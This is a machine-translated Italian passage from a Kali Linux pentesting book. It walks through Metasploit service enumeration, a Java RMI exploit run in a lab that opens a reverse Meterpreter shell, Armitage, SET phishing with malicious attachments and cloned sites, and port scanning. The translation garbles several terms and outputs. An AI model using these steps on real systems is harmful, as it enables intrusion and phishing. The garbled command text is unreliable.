l'indirizzo MAC associato all'indirizzo IP sarebbe il router o il dispositivo
gateway sulla mia rete locale.
Quando cerchiamo di sfruttare i sistemi, tuttavia, cercheremo i servizi che
sono in ascolto sulla rete. Possiamo ottenere un elenco delle porte aperte
utilizzando services , che puoi vedere nell'esempio 5-14 . Questo è solo un
elenco parziale, ma puoi vedere le porte aperte e gli indirizzi IP per i servizi
che sono aperti. Vedrai anche alcune porte che sono filtrate, il che
suggerisce che potrebbe esserci un servizio su quella porta ma anche un
firewall che blocca il traffico verso la porta. Se esegui una scansione della
versione, otterrai anche i dettagli sul servizio nella colonna info . Puoi
vedere che due dei servizi elencati qui hanno informazioni sulla versione
relative al servizio.
Esempio 5-14. Risultati dei servizi
msf6 exploit(unix/misc/distcc_exec) > servizi
Servizi ========
nome del protocollo della porta host sta ---- --- ----- ---- --
192.168.1.1 22 file tcp ssh
192.168.1.1 23 tcp telnet file
192.168.1.1 53 dominio tcp ope
192.168.1.1 80 tcp http ope
192.168.1.1 111 tcp rpcbind file
192.168.1.1 139 tcp netbios-ssn ope
192.168.1.1 443 tcp https ope
192.168.1.1 445 tcp microsoft-ds ope
192.168.1.1 5000 tcp upnp ope
192.168.1.1 8200 tcp trivnet1 ope
192.168.1.1 20005 tcp btx ope
192.168.1.1 49152 tcp operativo
192.168.1.1 49153 tcp operativo
192.168.1.10 22 tcp ssh ope
192.168.1.10 111 tcp rpcbind ope
192.168.1.10 139 tcp netbios-ssn ope
192.168.1.10 445 tcp microsoft-ds ope
192.168.1.10 2049 tcp nfs ope
192.168.1.11 21 tcp ftp operativo
192.168.1.11 22 tcp ssh ope
192.168.1.11 80 tcp http ope
192.168.1.11 445 tcp microsoft-ds ope
192.168.1.11 631 tcp ipp ope
192.168.1.11 3000 tcp ppp clo
192.168.1.11 3306 tcp mysql ope
192.168.1.11 8080 tcp http-proxy ope
192.168.1.11 8181 TCP Intermapper Clonazione
192.168.1.15 22 tcp ssh ope
192.168.1.15 25 tcp smtp operativo
192.168.1.15 80 tcp http ope
192.168.1.15 111 tcp rpcbind ope
192.168.1.15 443 tcp https ope
192.168.1.21 5000 tcp upnp ope
192.168.1.21 7000 tcp afs3-fileserver ope
192.168.1.22 80 tcp http ope
192.168.1.24 62078 tcp iphone-sync ope
192.168.1.36 53 dominio tcp ope
192.168.1.36 5000 tcp upnp ope
192.168.1.36 7000 tcp afs3-fileserver ope
192.168.1.36 7100 tcp font-service ope
192.168.1.36 49152 tcp operativo
192.168.1.36 49153 tcp operativo
192.168.1.36 62078 tcp iphone-sync ope
192.168.1.46 49152 tcp operativo
192.168.1.46 49156 tcp operativo
192.168.1.46 62078 tcp iphone-sync ope
192.168.1.53 53 dominio tcp ope
192.168.1.53 5000 tcp upnp ope
192.168.1.53 7000 tcp afs3-fileserver ope
192.168.1.53 7100 tcp font-service ope
192.168.1.53 49152 tcp operativo
192.168.1.53 49154 tcp operativo
192.168.1.53 62078 tcp iphone-sync ope
192.168.1.113 53 dominio tcp ope
192.168.1.113 5000 tcp upnp ope
192.168.1.113 7000 tcp afs3-fileserver ope
192.168.1.113 7100 tcp font-service ope
192.168.1.113 49152 tcp operativo
192.168.1.113 49153 tcp operativo
192.168.1.113 62078 tcp iphone-sync ope
Puoi anche importare i risultati delle scansioni di vulnerabilità. Prendiamo
l'output di una delle nostre scansioni OpenVAS. Puoi esportarlo in formato
XML; quindi può essere importato in Metasploit usando db_import seguito
dal nome del file. L'esempio 5-15 mostra il processo di importazione. Dopo
l'importazione della scansione OpenVAS, puoi vedere un'importazione di
una scansione Nessus. Non importa che tipo di scansione hai, useresti
db_import . Dopo le due importazioni, puoi vedere un elenco parziale di
host nel database.
Esempio 5-15. Utilizzo di db_import
msf6 > db_import report-629e4a7d-a708-488b-9da6-8
[*] Importazione dati 'OpenVAS XML'
[*] Importazione: analisi con 'Nokogiri v1.13.10'
[*] Importazione riuscita di
/home/kilroy/Downloads/ 89759d15a846.xml msf6 >
db_import ./myNetwork.nessus [*] Importazione dei
dati 'Nessus XML (v2)'
[*] Importazione dell'host 192.168.1.55
[*] Importazione host 192.168.1.53
[*] Importazione host 192.168.1.48
[*] Importazione dell'host 192.168.1.46
[*] Importazione dell'host 192.168.1.34
[*] Importazione dell'host 192.168.1.24
[*] Importazione host 192.168.1.22
[*] Importazione dell'host 192.168.1.21
[*] Importazione dell'host 192.168.1.15
[*] Importazione dell'host 192.168.1.11
[*] Importazione dell'host 192.168.1.10
[*] Importazione host 192.168.1.1 [*]
Importazione riuscita /home/kilroy/myNetwork
msf6 > hosts
Ospiti =====
indirizzo nome mac ------- --- ---192.168.1.1 80:cc:9c:dd:71:f2 192.168.1.1
192.168.1.10 1c:69:7a:f1:2a:e0 192.168.1.10
192.168.1.11 08:00:27:42:51:79 192.168.1.11
192.168.1.15 1c:69:7a:66:64:2a 192.168.1.15
192.168.1.21 f0:18:98:13:31:7d 192.168.1.21
192.168.1.22 48:e1:e9:85:71:c6 192.168.1.22
192.168.1.24 ca:a7:6a:36:fd:8c 192.168.1.24
192.168.1.34 30:89:4a:6c:3a:cc 192.168.1.34
192.168.1.36 94:ea:32:9e:49:c7 Camera da letto
192.168.1.46 06:05:70:2f:68:ed 192.168.1.46
192.168.1.48 22:12:17:8b:ab:b8 192.168.1.48
192.168.1.53 94:ea:32:9c:75:aa 192.168.1.53
192.168.1.55 94:ea:32:7e:97:fb 192.168.1.55
192.168.1.78 e2:43:49:15:df:19 Galaxy-Tab-S7-F
Con i risultati della scansione delle vulnerabilità nel database, ora possiamo
cercarli. Utilizzando vulns , possiamo elencare tutte le vulnerabilità note
nel database. Possiamo anche restringere l'elenco delle vulnerabilità
utilizzando parametri della riga di comando. Ad esempio, se utilizzi vulns -p
80 , elencherai tutte le vulnerabilità associate alla porta 80. Utilizzando -s ,
puoi cercare per nome del servizio. Ciò che otterrai è solo un elenco delle
vulnerabilità che sono state scoperte nelle scansioni o tramite altro lavoro
in msfconsole . Puoi vedere un elenco delle vulnerabilità nell'Esempio 5-16
.
Esempio 5-16. Elenco delle vulnerabilità per servizi
msf6 > vulnerabilità -s http
Vulnerabilità
===============
Nome host timestamp
--------- ---- ---27/07/2023 22:01:15 UTC 192.168.1.22 Nessus SYN
27/07/2023 22:01:18 UTC 192.168.1.1 Servizio De
2023-07-27 22:01:18 UTC 192.168.1.1 Nessus SYN
L'elenco include le informazioni sull'host in cui esiste la vulnerabilità,
nonché un numero di riferimento per la vulnerabilità. Puoi anche ottenere
un elenco di vulnerabilità per indirizzo IP utilizzando vulns -i , come
mostrato nell'esempio 5-17 . Ciò fornirà l'elenco dal database e includerà
anche dettagli aggiuntivi sulla vulnerabilità. Nell'output qui sono fornite
informazioni limitate, ma viene fornito un riferimento. In alcuni casi,
potresti ottenere un numero CVE che puoi cercare.
Esempio 5-17. Informazioni sulla vulnerabilità per indirizzo IP
Riferimento nome host timestamp
--------- ---- ---- --2023-07-27 22: 192.168.1.10 Tipo di dispositivo
NSS
01:17 UTC
2023-07-27 22: 192.168.1.10 CVE del server NFS
01:18 UTC NFSS superfluo
Puoi vedere come risolvere questa vulnerabilità dai fornitori di software.
Inoltre, ci sono riferimenti se hai bisogno di maggiori informazioni. Vedrai
anche i risultati fornendo dettagli sulla vulnerabilità nel Common
Vulnerability Scoring System (CVSS). Questo fornisce un punteggio che ti
darà un'idea di quanto sia grave la vulnerabilità. Puoi anche avere un'idea
migliore dei dettagli se capisci come leggere il CVSS. Ad esempio, il valore
CVSS precedente indica che il vettore di attacco (AV) è sulla rete. La
complessità dell'attacco è elevata, il che significa che gli aggressori devono
essere abili affinché qualsiasi attacco alla vulnerabilità abbia successo. Il
resto può essere consultato, comprese le spiegazioni, sul sito Web CVSS .
Sfruttamento dei sistemi
Con gli exploit, puoi pensare a un payload. Un payload determina cosa
accadrà quando l'exploit avrà successo. È il codice che viene eseguito dopo
che il flusso di esecuzione del programma è stato compromesso. Payload
diversi ti presenteranno interfacce diverse. Non tutti i payload
funzioneranno con tutti gli exploit. Se vuoi vedere l'elenco dei potenziali
payload compatibili con l'exploit che vuoi eseguire, puoi digitare show
payloads dopo aver caricato il modulo. Questo ti presenta un elenco
come quello mostrato nell'Esempio 5-18 . Tutti questi payload presentano
una shell Unix in modo che tu possa digitare comandi shell. Mostrano una
shell Unix perché distcc è un servizio Unix.
Esempio 5-18. Payload compatibili con l'exploit distcc
msf6 > usa unix/misc/distcc_exec [*] Nessun
payload configurato, per impostazione predefinita
è cmd/unix msf6 exploit(unix/misc/distcc_exec) >
mostra payload
Carichi utili compatibili
===================
# Nome Divulgazione Grado
Data
- ---- ---------- ---- 0 payload/cmd/unix/ ↩
normale adduser 1 payload/cmd/unix/ ↩ normale
bind_perl 2 payload/cmd/unix/ ↩ normale
bind_perl_ipv6 3 payload/cmd/unix/ ↩ normale
bind_ruby 4 payload/cmd/unix/ ↩ normale
bind_ruby_ipv6 5 payload/cmd/unix/ ↩ normale
generico 6 payload/cmd/unix/ ↩ normale inverso 7
payload/cmd/unix/ ↩ normale reverse_bash 8
payload/cmd/unix/ ↩ normale
reverse_bash_telnet_ssl 9 payload/cmd/unix/ ↩
normale reverse_openssl 10 payload/cmd/unix/ ↩
normale reverse_perl 11 payload/cmd/unix/ ↩
normal reverse_perl_ssl 12 payload/cmd/unix/ ↩
normal reverse_ruby 13 payload/cmd/unix/ ↩
normal reverse_ruby_ssl 14 payload/cmd/unix/ ↩
normal reverse_ssl_double_telnet Non tutti gli exploit
presenteranno una shell di comando, sebbene l'impostazione
predefinita per l' exploit distcc sia una shell bash inversa. Alcuni
forniranno un'interfaccia indipendente dal sistema operativo fornita da
Metasploit chiamata Meterpreter . Meterpreter non fornisce l'accesso
diretto a tutti i comandi della shell, ma il suo utilizzo presenta molti
vantaggi, in parte perché fornisce l'accesso ai moduli di postsfruttamento. Inoltre, le funzionalità di Meterpreter ti daranno accesso
ad altre funzionalità, come ottenere catture dello schermo dei desktop e
utilizzare qualsiasi webcam installata sul tuo sistema di destinazione.
MANCIA
Se mai dovessi rimanere bloccato, puoi chiedere aiuto a Meterpreter. Il comando help ti indicherà tutti
i comandi disponibili.
Ciò che si ottiene dopo che l'exploit si è verificato si basa sul payload, e
questo può essere impostato dopo aver selezionato quale exploit si
desidera eseguire. L'esempio 5-19 illustra l'esecuzione di un exploit
durante la modifica del payload in uso. Questo exploit ha come target il
server Java Remote Method Invocation (RMI), che viene utilizzato per
fornire comunicazioni interprocesso, anche tra sistemi su una rete. Poiché
stiamo sfruttando un processo Java, utilizzeremo l'implementazione Java
del payload Meterpreter.
Esempio 5-19. Utilizzo del payload Meterpreter
msf6 > usa exploit/multi/misc/java_rmi_server [*]
Nessun payload configurato, predefinito java/met
msf6 exploit(multi/misc/java_rmi_server) >
imposta pa payload =>
java/meterpreter/reverse_tcp msf6
exploit(multi/misc/java_rmi_server) > imposta RH
RHOST => 192.168.1.89
msf6 exploit(multi/misc/java_rmi_server) >
imposta LH LHOST => 192.168.1.254 msf6
exploit(multi/misc/java_rmi_server) > exploi
[*] Avviato il gestore TCP inverso su
192.168.1.254
[*] 192.168.1.89:1099 - Utilizzo dell'URL:
http://192.168 [*] 192.168.1.89:1099 - Server
avviato.
[*] 192.168.1.89:1099 - Invio intestazione RMI...
[*] 192.168.1.89:1099 - Invio chiamata RMI...
[*] 192.168.1.89:1099 - Risposto alla richiesta
di pa
[*] Fase di invio (58829 byte) a 192.168.1.89
[*] Sessione 1 di Meterpreter aperta
(192.168.1.254:4 2023-07-30 19:10:33 -0400
meterpreter >
Noterai che oltre a impostare l'host remoto, ho impostato l'host locale (
LHOST ). Ciò è necessario per il payload. Potresti notare che il nome del
payload include reverse_tcp . Poiché il payload viene eseguito e avvia una
connessione al sistema attaccante dopo l'exploit, si chiama reverse : la
connessione torna all'attaccante anziché il contrario. Ciò è utile, se non
essenziale, perché la connessione inversa aggirerà i firewall che di solito
consentono connessioni in uscita, soprattutto se avviene su una porta
nota. Una delle porte comunemente utilizzate per queste connessioni è la
443. Questa è la porta SSL/TLS per le comunicazioni Web crittografate.
NOTA
Il target dell'attacco mostrato nell'esempio 5-19 è Metasploitable 2. Si tratta di un sistema Linux
deliberatamente vulnerabile. Diverse vulnerabilità possono essere prese di mira usando Metasploit,
quindi è un sistema ideale con cui giocare. Puoi scaricarlo come immagine VM nel formato VMware,
che può essere importato in altri hypervisor se necessario.
Noterai anche il prompt meterpreter> . Questo dice che siamo
nell'interprete Meterpreter, quindi possiamo eseguire comandi
indipendenti dal sistema operativo. L'esempio 5-20 mostra un paio di
comandi disponibili con Meterpreter. Puoi ottenere informazioni sul
sistema e poi un elenco di processi. Puoi anche ottenere elenchi di
directory, così come screenshot del desktop e l'uso di qualsiasi webcam
che potrebbe essere installata.
Esempio 5-20. Utilizzo di Meterpreter
meterpreter > sysinfo Computer :
metasploitabile
Sistema operativo: Linux 2.6.24-16-server (i386)
Architettura: x86
Lingua di sistema: en_US
Meterpreter: java/linux
meterpreter > ps
Elenco dei processi
============
Nome PID Percorso utente
--- ---- ---- ---1
/sbin/init radice /sbin/ini
2
radice
3
[migrazione/0] radice [migrazione
4
[ksoftirqd/0] radice [ksoftirq
5
[cane da guardia/0] radice [cane da guardia
6
[migrazione/1] radice [migrazione
7
[ksoftirqd/1] radice [ksoftirq
8
[cane da guardia/1] radice [cane da guardia
9
[eventi/0] radice [eventi/0
10
[eventi/1] radice [eventi/
11
radice
46
[kblockd/0] radice [kblockd/
47
[kblockd/1] radice [kblockd/
50
51
radice [kacpid]
[kacpi_notifica] radice [kacpi_no
98 [kseriod] radice [kseriod
142
radice
143
radice
144
radice
186
[aio/0] radice [aio/0]
187
[aio/1] radice [aio/1]
1154 [ksnapd] radice [ksnapd]
Tuttavia, non a tutti piace la riga di comando. Ciò è particolarmente vero se
si hanno un gran numero di sistemi e vulnerabilità da gestire. Con così tanti
dati da gestire, a volte è più facile usare uno strumento basato su GUI.
Fortunatamente, ce n'è uno disponibile in Kali.
Armi
Se preferisci le applicazioni GUI perché le tue dita si stancano di digitare,
non temere. Un'applicazione basata su GUI si trova sopra msfconsole .
Otterrai tutte le funzionalità che avresti con msfconsole , tranne per il fatto
che eseguirai alcune delle azioni utilizzando gli elementi grafici di Armitage.
La figura 5-1 mostra la finestra principale di Armitage. Nota le icone in alto
a destra della finestra. Rappresentano gli host che Metasploit conosce
come risultato della scansione db_nmap e della scansione delle
vulnerabilità. Entrambe queste attività determinerebbero la presenza del
target nel database e, di conseguenza, verrebbero visualizzate in Armitage.
Noterai anche che in fondo alla finestra c'è una casella di testo con il
prompt msf6> . È lo stesso prompt che vedresti se stessi eseguendo
msfconsole dalla riga di comando, perché sei realmente in msfconsole .
Puoi digitare gli stessi comandi di cui abbiamo parlato. Inoltre, puoi usare
la GUI. Nella colonna in alto a sinistra c'è un elenco di categorie. Puoi
esplorarle, proprio come faresti con qualsiasi set di cartelle. Puoi anche
usare la casella di modifica della ricerca per eseguire la stessa ricerca di
moduli che abbiamo fatto in precedenza.
Utilizzare gli exploit in Armitage è facile. Una volta trovato l'exploit che vuoi
usare, come l'exploit RMI mostrato nella Figura 5-1 , trascina la voce
dall'elenco sul lato sinistro su una delle icone sulla destra. Ho preso il
multi/misc/java_rmi_server exploit e lo ha rilasciato su 192.168.86.147,
che è il mio sistema Metasploitable 2. Ti verrà presentata una finestra di
dialogo di opzioni. Invece di dover compilare la variabile LHOST come
abbiamo dovuto fare in precedenza, Armitage se ne occupa per noi. La
Figura 5-2 mostra la finestra di dialogo con le variabili necessarie per
eseguire l'exploit. Vedrai anche una casella di controllo per una
connessione inversa. Se il sistema di destinazione è esposto a reti esterne,
potresti essere in grado di effettuare una connessione in avanti. Ciò
dipende dal fatto che tu riesca a connetterti al payload dopo il suo avvio.
NOTA
Firewall, traduzione degli indirizzi di rete e altre misure di sicurezza possono rendere questa parte
impegnativa. Se si tenta una connessione forward, il target deve essere aperto sulla porta di servizio
che si sta sfruttando. Anche la porta associata al payload deve essere accessibile. Se si utilizza una
connessione reverse, il problema passa alla propria estremità. Il proprio host e la porta su cui si
ascolterà devono essere accessibili dal target.
Figura 5-2. Lancio di exploit in Armitage
Un altro vantaggio di Armitage è che otterrai una nuova scheda in basso se
aprirai delle shell su sistemi remoti. La tua sessione msfconsole sarà ancora
aperta per lavorare senza che venga presa in carico dalla shell che ottieni.
La figura 5-3 mostra un modo diverso di interagire con il tuo sistema
sfruttato. Se guardi la miniatura del sistema che ha il menu contestuale e il
pinguino davanti, vedrai che ora è avvolto da linee bianche, a indicare che
il sistema è stato compromesso. Il menu contestuale mostra diversi modi di
interagire con il sistema compromesso. Ad esempio, puoi aprire una shell o
caricare file utilizzando la selezione del menu Shell. In fondo alla finestra di
Armitage c'è una scheda etichettata Shell 1. Ciò fornisce l'accesso tramite
riga di comando al sistema.
L'exploit che abbiamo utilizzato era per un servizio che era in esecuzione
come demone utente. Pertanto, ora siamo connessi al sistema come
quell'utente. Abbiamo solo i permessi che ha l'utente demone. Per
ottenere privilegi aggiuntivi, dovremmo eseguire un exploit di escalation
dei privilegi. Potresti essere in grado di utilizzare un modulo di postsfruttamento, a cui puoi accedere dallo stesso menu contestuale
visualizzato nella Figura 5-3 . Potresti anche aver bisogno di mettere in
scena qualcosa da solo. Ciò potrebbe richiedere la creazione di un
eseguibile su un altro sistema e il suo caricamento sul sistema di
destinazione.
Figura 5-3. msfconsole in Armitage
Ingegneria sociale
Metasploit si trova anche sotto un altro programma che fornisce
funzionalità utili se si desidera tentare attacchi di ingegneria sociale. Una
via comune di attacchi è il phishing : far sì che un utente all'interno della
rete di destinazione clicchi su un collegamento che non dovrebbe cliccare o
magari apra un allegato infetto. Possiamo usare SocialEngineer Toolkit (
setoolkit ) per aiutarci ad automatizzare questi attacchi di ingegneria
sociale. Setoolkit si occupa della maggior parte del lavoro. Creerà e-mail
con allegati o clonerà un sito Web noto, aggiungendo contenuti infetti che
ti forniranno accesso al sistema di un utente di destinazione.
setoolkit è guidato da menu, quindi non devi digitare comandi e caricare
moduli come devi fare in msfconsole . Ha anche molte funzionalità di
attacco integrate. Ci concentreremo solo sul menu di ingegneria sociale,
mostrato nell'esempio 5-21 . Da questo, possiamo selezionare attacchi di
phishing, attacchi di generazione di siti Web e persino la creazione di un
punto di accesso non autorizzato.
Esempio 5-21. Toolkit dell'ingegnere sociale
[---] Il toolkit dell'ingegnere sociale (SET)
[---] Creato da: David Kennedy (ReL1K)
Versione: 8.0.3
Nome in codice: 'Maverick'
[---] Seguici su Twitter: @TrustedSec
[---] Seguimi su Twitter: @HackingDave
[---] Pagina iniziale: https://www.trustedsec.com
Benvenuti al Social-Engineer Toolkit (S
Lo sportello unico per tutte le tue esigenze SE
Il Social-Engineer Toolkit è un prodotto di T
Visita: https://www.trustedsec.com
È facile aggiornare utilizzando PenTesters Frame
Visita https://github.com/trustedsec/ptf per
aggiornare Seleziona dal menu:
1) Attacchi di ingegneria sociale
2) Test di penetrazione (Fast-Track)
3) Moduli di terze parti
4) Aggiorna il Social-Engineer Toolkit
5) Aggiorna la configurazione SET
6) Aiuto, crediti e informazioni 99) Esci dal set
Social-Engineer Toolkit>
setoolkit ti guida attraverso l'intero processo, ponendoti domande lungo il
percorso per aiutarti a creare un attacco di successo. A causa del numero di
moduli disponibili da Metasploit, creare attacchi può essere opprimente;
avrai molte opzioni. L'esempio 5-22 mostra l'elenco dei formati di file
possibili selezionando un attacco di spear-phishing e quindi selezionando
un invio di massa.
Esempio 5-22. Payload per attacchi di mass-mailing
Seleziona l'exploit del formato di file che
desideri.
L'impostazione predefinita è il file EXE
incorporato nel PDF.
********** CARICHI UTILI **********
1)
2)
3)
SET Attacco di dirottamento DLL scritto
personalizzato Vec
SET Documento scritto personalizzato UNC LM
SMB Capt
Centro multimediale MS15-100 Microsoft
Windows
4)
MS14-017 Confusione oggetti RTF di Microsoft
Word
5) Microsoft Windows CreaDimensionatoDIBSECTION
Sta
6) Buffer di stack pFragments RTF di Microsoft
Word
7) Adobe Flash Player "Pulsante" Codice remoto
Exe
8) Tabella SING di Adobe CoolType "uniqueName"
Ove
9) Adobe Flash Player "newfunction" non valido
10) Adobe Collab.collectEmailInfo Buffer Overfl
11) Adobe Collab.getIcon Buffer Overflow
12) Adobe JBIG2Decode Exploit di corruzione della
memoria 13) Adobe PDF Embedded EXE Social
Engineering
14) Adobe util.printf() Buffer Overflow
15) EXE personalizzato in VBA (inviato tramite
RAR) (RAR richiede
16) Dichiarazione di Adobe U3D
CLODProgressiveMesh A
17) Adobe PDF Embedded EXE Ingegneria sociale
18) Foxit PDF Reader v4.1.1 Titolo Stack Buffer
19) Apple QuickTime PICT PnSize buffer overflow
20) Nuance PDF Reader v6.0 Avvia Stack Buffer
21) Vulnerabilità di corruzione della memoria di
Adobe Reader u3D
22) Overflow del buffer ActiveX MSCOMCTL (ms12027
Dopo aver selezionato il payload che andrà nel tuo messaggio, ti verrà
chiesto di selezionare un payload per l'exploit, ovvero il modo in cui
otterrai l'accesso al sistema compromesso, quindi la porta associata al
payload. Dovrai selezionare un server di posta e il tuo target. A questo
punto è utile se hai un tuo server di posta da usare, anche se setoolkit può
usare un account Gmail per inviare. Uno dei problemi con questo, però, è
che Google tende ad avere buoni filtri anti-malware e quello che stai
inviando è assolutamente malware. Anche se lo stai facendo solo per scopi
di test, stai inviando software dannoso.
Puoi anche usare setoolkit per creare un sito web dannoso. Genererà una
pagina web che può essere clonata da un sito esistente. Una volta ottenuta
la pagina, può essere servita dal server Apache in Kali. Ciò che dovrai fare,
però , è far sì che l'utente target visiti la pagina. Ci sono diversi modi per
farlo. Potresti usare un nome di dominio scritto male e far arrivare l'utente
al tuo sito aspettandoti che digiti male un URL che sta cercando di visitare.
Potresti inviare il collegamento tramite e-mail o tramite social network. Ci
sono molte possibilità. Se l'attacco al sito web o l'attacco e-mail
funzionano, ti verrà presentata una connessione al sistema del tuo target.
Riepilogo
Kali è dotato di strumenti di exploit. Quali userai dipenderà dai sistemi che
stai prendendo di mira. Potresti usare alcuni degli strumenti di exploit di
Cisco. Potresti anche usare Metasploit. Questo è praticamente uno
sportello unico per l'exploit di sistemi e dispositivi. Le idee da trarre da
questo capitolo includono quanto segue:
Diverse utility saranno indirizzate ai dispositivi Cisco, poiché gli switch e i
router Cisco sono molto diffusi nelle reti.
Metasploit è un framework per lo sviluppo di exploit.
Per Metasploit vengono rilasciati regolarmente exploit che possono
essere utilizzati senza alcuna modifica.
Metasploit include anche moduli ausiliari che possono essere utilizzati per
la scansione e altre attività di ricognizione.
Il database di Metasploit memorizzerà gli host, i servizi e le vulnerabilità
rilevati tramite scansione o importazione.
Ottenere una shell di comando non è l'unica conseguenza che potrebbe
verificarsi con un modulo exploit.
Risorse utili
Corso gratuito di hacking etico di Offensive Security, "Metasploit
“Scatenato”
“Penetration Testing con Metasploit” di Ric Messier
Video Framework” , pubblicato da Infinite Skills, 2016
Presentazione di Felix Lindner's Black Hat, "Router Exploitation"
Post del blog di Rapid7, "Cisco IOS Penetration Testing con
Metasploit”
Articolo di GeeksforGeeks, "Differenza tra vulnerabilità e
Impresa"
Sito web Metasploit, sito web “Documentazione Metasploit”
Capitolo 6. Possedere Metasploit
Conosci le basi dell'interazione con Metasploit. Ma Metasploit è una
risorsa profonda e finora siamo riusciti a scalfire solo la superficie. In
questo capitolo, approfondiremo un po' di più. Analizzeremo un intero
exploit dall'inizio alla fine del processo. Ciò include l'esecuzione di
scansioni di una rete alla ricerca di obiettivi e quindi l'esecuzione di un
exploit per ottenere l'accesso. Daremo un'altra occhiata a Meterpreter,
l'interfaccia indipendente dal sistema operativo integrata in alcuni dei
payload di Metasploit. Vedremo come funzionano i payload sui sistemi in
modo che tu possa comprendere il processo. Daremo anche un'occhiata
all'acquisizione di privilegi aggiuntivi su un sistema in modo da poter
eseguire altre attività, tra cui la raccolta di credenziali.
Un ultimo argomento davvero importante è il pivoting. Una volta ottenuto
l'accesso a un sistema in un'azienda, in particolare un server,
probabilmente scoprirai che è connesso ad altre reti. Queste reti
potrebbero non essere accessibili dal mondo esterno, quindi dovremo dare
un'occhiata a come ottenere l'accesso dal mondo esterno utilizzando il
nostro sistema di destinazione come router e passando il traffico attraverso
di esso alle altre reti a cui ha accesso. È così che iniziamo ad addentrarci
nella rete, trovando altri obiettivi e opportunità di sfruttamento.
MANCIA
Man mano che ti addentri nella rete e sfrutti sistemi aggiuntivi, devi prestare molta attenzione
all'ambito del tuo coinvolgimento. Solo perché puoi passare a un'altra rete e trovare più obiettivi non
significa che dovresti farlo. Le considerazioni etiche sono essenziali qui.
Scansione per obiettivi
Abbiamo esaminato l'utilizzo dei moduli nel capitolo precedente. Mentre
possiamo certamente utilizzare strumenti come nmap per ottenere dettagli
sui sistemi e sui servizi disponibili sulla nostra rete di destinazione,
possiamo anche utilizzare altri moduli che sono in Metasploit. Mentre un
programma come nmap ha molte funzionalità e gli script forniscono molti
dettagli sui nostri obiettivi, molti scanner sono integrati in Metasploit. Un
vantaggio nell'utilizzarli è che saremo in Metasploit per eseguire exploit,
quindi forse è altrettanto facile iniziare in Metasploit per cominciare. Tutti i
risultati trovati saranno archiviati nel database, poiché vengono eseguiti
dall'interno di Metasploit.
Scansione delle porte
Per i nostri scopi, rinunceremo a usare nmap e ci concentreremo su ciò che
c'è in Metasploit, quindi useremo i moduli di scansione delle porte
ausiliari. Metasploit ha una buona raccolta di scanner delle porte che
coprono una gamma di esigenze. Puoi vedere l'elenco nell'Esempio 6-1 .
Esempio 6-1. Scanner di porte in Metasploit
msf6 > cerca portscan
Moduli corrispondenti
================
# Divulgazione del nome R
Data
-
----
-----------
portscan/ftpbounce
0
1
ausiliario/scanner/
↩
n
ausiliario/scanner/
↩
n
natpmp/natpmp_portscan 2 ausiliario/scanner/ ↩ n
sap/sap_router_portscanner 3 ausiliario/scanner/
↩
n
portscan/xmas
4
ausiliario/scanner/
↩
n
portscan/ack
5
ausiliario/scanner/
↩
n
portscan/tcp
6
ausiliario/scanner/
↩
n
portscan/syn
7 ausiliario/scanner/ ↩ n
http/wordpress_pingback_access
C'è un'istanza di Metasploitable 3 sulla mia rete. Questo è un server
Windows, al contrario del sistema Linux che avevamo preso di mira in
precedenza in Metasploitable 2. Poiché conosco l'indirizzo IP da una
scansione separata, mi concentrerò sull'ottenimento dell'elenco delle
porte aperte su questo sistema piuttosto che sulla scansione dell'intera
rete. Per fare ciò, userò il modulo di scansione TCP, mostrato nell'esempio
6-2 . Vedrai dall'output che dopo aver utilizzato il modulo, ho impostato il
parametro RHOSTS su un singolo indirizzo IP. Poiché si aspetta un intervallo
o un blocco CIDR, ho aggiunto /32 per indicare che stiamo esaminando un
singolo indirizzo IP. Lasciarlo fuori avrebbe funzionato altrettanto bene, ma
includerlo forse chiarisce che intendevo un singolo host piuttosto che
dimenticare semplicemente la fine dell'intervallo di indirizzi IP. Esempio 62. Scansione delle porte tramite il modulo Metasploit
msf6 > usa ausiliario/scanner/portscan/tcp msf6
ausiliario(scanner/portscan/tcp) > mostra opzione
Opzioni del modulo
(ausiliario/scanner/portscan/tcp):
Nome Attuale Obbligatorio Descrizione
Collocamento
---- -------- -------- ---------- CONCORRENZA 10
sì Il numero di per host RITARDO 0 sì Il ritardo
per thread, in m JITTER 0 sì Il ritardo ji con
cui PORTE 1-10000 sì Porte per sca RHOSTS sì La
destinazione h metasploit.c basi/utilizzo THREAD
1 sì Il numero di
(max uno pe TIMEOUT 1000 sì Il socket c
msf6 ausiliario(scanner/portscan/tcp) > imposta
RHOSTS RHOSTS => 192.168.1.223/32
msf6 ausiliario(scanner/portscan/tcp) > imposta
THREAD THREAD => 10
msf6 ausiliario(scanner/portscan/tcp) > imposta
CONCUR CONCURRENCY => 20 msf6
ausiliario(scanner/portscan/tcp) > esegui
[+] 192.168.1.223: - 192.168.1.223:22 - TC
[+] 192.168.1.223: - 192.168.1.223:21 - TC
[+] 192.168.1.223: - 192.168.1.223:80 - TC
[+] 192.168.1.223: - 192.168.1.223:139 - T
[+] 192.168.1.223: - 192.168.1.223:135 - T
[+] 192.168.1.223: - 192.168.1.223:445 - T
[+] 192.168.1.223: - 192.168.1.223:1617 [+] 192.168.1.223: - 192.168.1.223:3306 [+] 192.168.1.223: - 192.168.1.223:3389 [+] 192.168.1.223: - 192.168.1.223:3700 [+] 192.168.1.223: - 192.168.1.223:4848 [+] 192.168.1.223: - 192.168.1.223:5985 [+] 192.168.1.223: - 192.168.1.223:7676 [+] 192.168.1.223: - 192.168.1.223:8009 [+] 192.168.1.223: - 192.168.1.223:8020 [+] 192.168.1.223: - 192.168.1.223:8027 [+] 192.168.1.223: - 192.168.1.223:8080 [+] 192.168.1.223: - 192.168.1.223:8181 [+] 192.168.1.223: - 192.168.1.223:8282 [+] 192.168.1.223: - 192.168.1.223:8383 [+] 192.168.1.223: - 192.168.1.223:8484 [+] 192.168.1.223: - 192.168.1.223:8585 [+] 192.168.1.223: - 192.168.1.223:8686 [+] 192.168.1.223: - 192.168.1.223:9200 [+] 192.168.1.223: - 192.168.1.223:9300 [*] 192.168.1.223/32: - Scansionato 1 di 1 host
[*] Completata l'esecuzione del modulo ausiliario
Noterai che ho apportato alcune modifiche ai parametri che renderebbero
il modulo più veloce. Ho aumentato i thread e l'impostazione di
concorrenza. Poiché questa è la mia rete, mi sento a mio agio
nell'aumentare la quantità di traffico che va al mio host di destinazione. Se
sei preoccupato di causare problemi con la generazione di traffico o con gli
avvisi tramite un firewall o un sistema di rilevamento delle intrusioni,
potresti prendere in considerazione di lasciare i thread a 1 e forse ridurre la
concorrenza da 10, che è l'impostazione predefinita.
Uno svantaggio nell'usare questo modulo è che non otteniamo
l'applicazione che è in esecuzione sulle porte. Le porte note sono
